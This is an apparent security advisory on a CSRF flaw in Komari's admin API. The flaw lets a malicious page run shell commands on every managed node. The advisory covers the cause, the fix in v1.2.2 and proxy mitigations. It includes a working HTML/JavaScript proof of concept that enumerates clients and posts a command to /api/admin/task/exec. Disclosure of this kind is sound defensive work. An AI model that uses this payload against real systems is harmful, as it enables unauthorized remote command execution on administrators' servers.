Komari: Management Interface CSRF Leading to Remote Code Execution
Komari's admin API sets its session cookie without SameSite or Secure attributes and has no CSRF token or Origin validation, so a malicious page can trick a logged-in admin into executing arbitrary…

The problem
All /api/admin/ endpoints authenticate solely via the session_token cookie, which is set with Secure=false and no explicit SameSite attribute (login.go:68). There is no CSRF middleware anywhere in the admin route group (server.go:213-343).
Gin's ShouldBindJSON does not enforce a strict Content-Type check, so a cross-origin fetch with Content-Type: application/json passes without a CORS preflight block. In contexts where the cookie is sent (legacy browsers without default Lax, same-origin XSS, or a network MitM over plain HTTP), an attacker can hit high-impact endpoints including /api/admin/task/exec, which runs arbitrary shell commands on every managed node.
Proof of concept
A working proof-of-concept for this issue in github.com/komari-monitor/komari, with the exact payload below.
<!-- Host on evil.com; victim must be a logged-in Komari admin -->
<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<script>
var KOMARI = "https://komari.example.com";
var CMD = "id && hostname && whoami";
fetch(KOMARI + "/api/admin/client/list", { credentials: "include" })
.then(function(r){ return r.json(); })
.then(function(data){
var nodes = data.data || [];
var uuids = [];
for (var i = 0; i < nodes.length; i++) {
if (nodes[i].uuid) uuids.push(nodes[i].uuid);
}
if (uuids.length === 0) return;
return fetch(KOMARI + "/api/admin/task/exec", {
method: "POST",
credentials: "include",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ command: CMD, clients: uuids })
});
});
</script>
</body>
</html>The root cause is a missing SameSite attribute on the session cookie combined with zero server-side request forgery protection. Modern browsers (Chrome 80+, Firefox 103+, Safari) default unset cookies to SameSite=Lax, which blocks cross-site POST requests and limits practical exploitation to legacy browsers, XSS pivot points, or MitM over HTTP.
However, wherever the cookie is sent, the server has no second factor of authentication for the request itself. The patch (commit 98122fa4d110, released as v1.2.2) adds SameSite=Strict and Secure=true to the cookie and introduces CSRF middleware on the admin route group, closing both the cookie-attribute gap and the missing Origin/token validation.
The fix
Upgrade to Komari v1.2.2 (Go module pseudo-version 0.0.0-20260609084633-98122fa4d110 or later). The release sets SameSite=Strict and Secure=true on the session cookie and adds CSRF middleware to every /api/admin/ route. If immediate upgrade is not possible, place Komari behind a reverse proxy that enforces Origin or Referer validation and strips requests missing a custom header.
Related research
- highCVE-2026-55245CVE-2026-55245: Bifrost isPublicIP SSRF Deny-List Bypass via NAT64, 6to4, and CGNAT
- critical · 9.3CVE-2026-73080CVE-2026-73080: SeaweedFS Unauthenticated SSRF via VolumeServer.FetchAndWriteNeedle
- critical · 9.6CVE-2026-54725CVE-2026-54725: vault-secrets-webhook Annotation SSRF and ServiceAccount Token Theft
- critical · 10CVE-2026-54735CVE-2026-54735: prebid-server Bidder Adapter Server-Side Request Forgery